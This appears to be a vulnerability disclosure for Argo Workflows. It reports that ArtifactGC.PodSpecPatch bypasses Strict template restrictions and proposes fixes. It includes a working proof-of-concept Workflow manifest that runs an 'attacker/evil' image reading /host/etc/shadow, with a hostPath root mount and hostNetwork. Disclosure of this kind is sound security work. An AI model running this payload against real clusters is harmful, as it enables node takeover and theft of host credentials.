Details
Run:
go test -v -run "TestPoC_ArtifactGC" ./workflow/util/
Captured output:
=== RUN TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch
--- PASS: TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s)
=== RUN TestPoC_ArtifactGCPodSpecPatchPassesAllowList
--- PASS: TestPoC_ArtifactGCPodSpecPatchPassesAllowList (0.00s)
PASS
ok github.com/argoproj/argo-workflows/v4/workflow/util 0.036s
End-to-end Workflow manifest (for a live cluster reproduction by maintainers):
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata: {name: safe-template}
spec:
entrypoint: main
templates:
- name: main
container: {image: argoexec:latest, command: [echo, hello]}
outputs:
artifacts:
- {name: artifact, path: /tmp/artifact}
---
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata: {generateName: bypass-}
spec:
workflowTemplateRef: {name: safe-template}
artifactGC:
strategy: OnWorkflowCompletion
podSpecPatch: |
containers:
- name: main
image: attacker/evil:latest
command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
hostNetwork: true
volumes:
- name: hostroot
hostPath: {path: /}
Controller config for the test cluster:
workflowRestrictions:
templateReferencing: Strict
With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.
Impact
Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:
- run an attacker-chosen image as a container in the workflow's namespace, with
AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token, - bypass
common.MinimalCtrSC()/common.MinimalPodSC()by settingprivileged: true,allowPrivilegeEscalation: true,runAsUser: 0,readOnlyRootFilesystem: false,capabilities.add: [SYS_ADMIN], - mount
hostPath: /into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently), - enable
hostNetwork: true(equivalent to being on the node's network for the lifetime of the pod).
This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.
A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H